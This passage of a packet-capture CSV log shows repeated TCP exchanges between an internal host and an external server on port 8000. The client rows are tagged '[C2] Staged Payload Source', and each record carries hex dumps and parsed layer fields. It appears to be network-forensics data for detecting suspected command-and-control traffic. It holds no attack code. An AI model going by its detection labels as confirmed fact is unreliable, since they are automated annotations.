\"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:14.997908,999,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439f240004006f601c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14834, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62977, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:15.874908,1000,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1283637038 Ack=578738452,bc24112907bbbc2411360d0c08004500003db188400080063e620a98980bc0a3a789fa6a1f404c82bf2e227ed91450182014fe4200001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45448, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15970, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637038, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 65090, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:13:15.874929,1001,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500002839f340004006f60cc0a3a7890a98980b1f40fa6a227ed9144c82bf435010003f0aeb0000,\".$.6\n..$.)....E..(9.@.@.......\n....@.j\"\"~..L..CP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14835, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62988, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:13:16.888554,1002,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b189400080063e750a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45449, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15989, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:16.888588,1003,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439f440004006f5ffc0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14836, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62975, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:17.904178,1004,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b18a400080063e740a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45450, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15988, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:17.904209,1005,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439f540004006f5fec0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14837, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62974, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:18.919856,1006,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b18b400080063e730a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45451, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15987, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:18.919897,1007,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439f640004006f5fdc0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14838, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62973, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:19.919852,1008,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b18c400080063e720a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45452, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15986, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:19.919872,1009,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439f740004006f5fcc0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14839, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62972, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:20.919871,1010,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b18d400080063e710a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45453, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15985, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:20.919901,1011,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439f840004006f5fbc0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14840, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62971, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:21.935560,1012,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b18e400080063e700a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45454, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15984, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:21.935604,1013,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439f940004006f5fac0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14841, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62970, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637059, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637058, 1283637059))]\"\"}}]\"\n2026-07-01 09:13:22.951193,1014,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637058 Ack=578738452,bc24112907bbbc2411360d0c080045000029b18f400080063e6f0a98980bc0a3a789fa6a1f404c82bf42227ed9145010201463ec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45455, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15983, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637058, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25580, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:22.951227,1015,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637059,bc2411360d0cbc24112907bb08004500003439fa40004006f5f9c0a3a7890a98980b1f40fa6a227ed9144c82bf438010003f0af700000101050a4c82bf424c82bf43,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L..C...?\n......\nL..BL..C\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 